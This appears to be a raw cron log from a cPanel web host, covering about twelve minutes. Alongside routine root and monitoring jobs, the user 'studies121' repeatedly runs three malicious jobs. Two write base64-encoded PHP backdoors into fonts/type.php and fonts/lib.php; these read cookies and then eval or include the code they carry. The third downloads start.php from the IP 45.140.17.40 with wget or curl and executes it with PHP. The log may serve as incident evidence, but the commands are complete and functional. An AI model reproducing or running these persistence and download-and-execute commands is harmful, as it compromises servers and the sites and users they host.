Sep  2 09:36:01 ip-184-168-122-23 CROND[23444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:36:01 ip-184-168-122-23 CROND[23442]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 09:36:01 ip-184-168-122-23 CROND[23445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:37:01 ip-184-168-122-23 CROND[23553]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:37:01 ip-184-168-122-23 CROND[23557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:37:01 ip-184-168-122-23 CROND[23555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:37:01 ip-184-168-122-23 CROND[23556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:38:01 ip-184-168-122-23 CROND[23672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:38:01 ip-184-168-122-23 CROND[23673]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 09:38:01 ip-184-168-122-23 CROND[23677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:38:01 ip-184-168-122-23 CROND[23676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:38:01 ip-184-168-122-23 CROND[23679]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:39:01 ip-184-168-122-23 CROND[23861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:39:01 ip-184-168-122-23 CROND[23860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:39:01 ip-184-168-122-23 CROND[23867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:39:01 ip-184-168-122-23 CROND[23868]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 09:39:01 ip-184-168-122-23 CROND[23866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:40:01 ip-184-168-122-23 CROND[23985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:40:01 ip-184-168-122-23 CROND[23986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:40:01 ip-184-168-122-23 CROND[23988]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 09:40:01 ip-184-168-122-23 CROND[23991]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 09:40:01 ip-184-168-122-23 CROND[23992]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 09:40:02 ip-184-168-122-23 CROND[23999]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 09:40:02 ip-184-168-122-23 CROND[24001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:40:02 ip-184-168-122-23 CROND[24000]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:41:01 ip-184-168-122-23 CROND[24096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:41:01 ip-184-168-122-23 CROND[24098]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:41:01 ip-184-168-122-23 CROND[24100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:41:01 ip-184-168-122-23 CROND[24101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:42:01 ip-184-168-122-23 CROND[24213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:42:01 ip-184-168-122-23 CROND[24215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:42:01 ip-184-168-122-23 CROND[24217]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 09:42:01 ip-184-168-122-23 CROND[24218]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:42:01 ip-184-168-122-23 CROND[24219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:43:01 ip-184-168-122-23 CROND[24320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:43:01 ip-184-168-122-23 CROND[24321]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:43:01 ip-184-168-122-23 CROND[24322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:43:01 ip-184-168-122-23 CROND[24323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:44:01 ip-184-168-122-23 CROND[24444]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:44:01 ip-184-168-122-23 CROND[24446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:44:01 ip-184-168-122-23 CROND[24447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:44:01 ip-184-168-122-23 CROND[24448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:44:01 ip-184-168-122-23 CROND[24449]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 09:45:01 ip-184-168-122-23 CROND[24559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:45:01 ip-184-168-122-23 CROND[24560]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 09:45:01 ip-184-168-122-23 CROND[24561]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:45:01 ip-184-168-122-23 CROND[24562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:45:01 ip-184-168-122-23 CROND[24563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:45:01 ip-184-168-122-23 CROND[24565]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 09:46:01 ip-184-168-122-23 CROND[24752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:46:01 ip-184-168-122-23 CROND[24758]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 09:46:01 ip-184-168-122-23 CROND[24759]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 09:46:01 ip-184-168-122-23 CROND[24756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:46:01 ip-184-168-122-23 CROND[24754]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:46:01 ip-184-168-122-23 CROND[24755]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 09:46:01 ip-184-168-122-23 CROND[24760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:47:01 ip-184-168-122-23 CROND[24895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:47:01 ip-184-168-122-23 CROND[24896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:47:01 ip-184-168-122-23 CROND[24899]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:47:01 ip-184-168-122-23 CROND[24903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:48:01 ip-184-168-122-23 CROND[24993]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:48:01 ip-184-168-122-23 CROND[24995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:48:01 ip-184-168-122-23 CROND[24996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
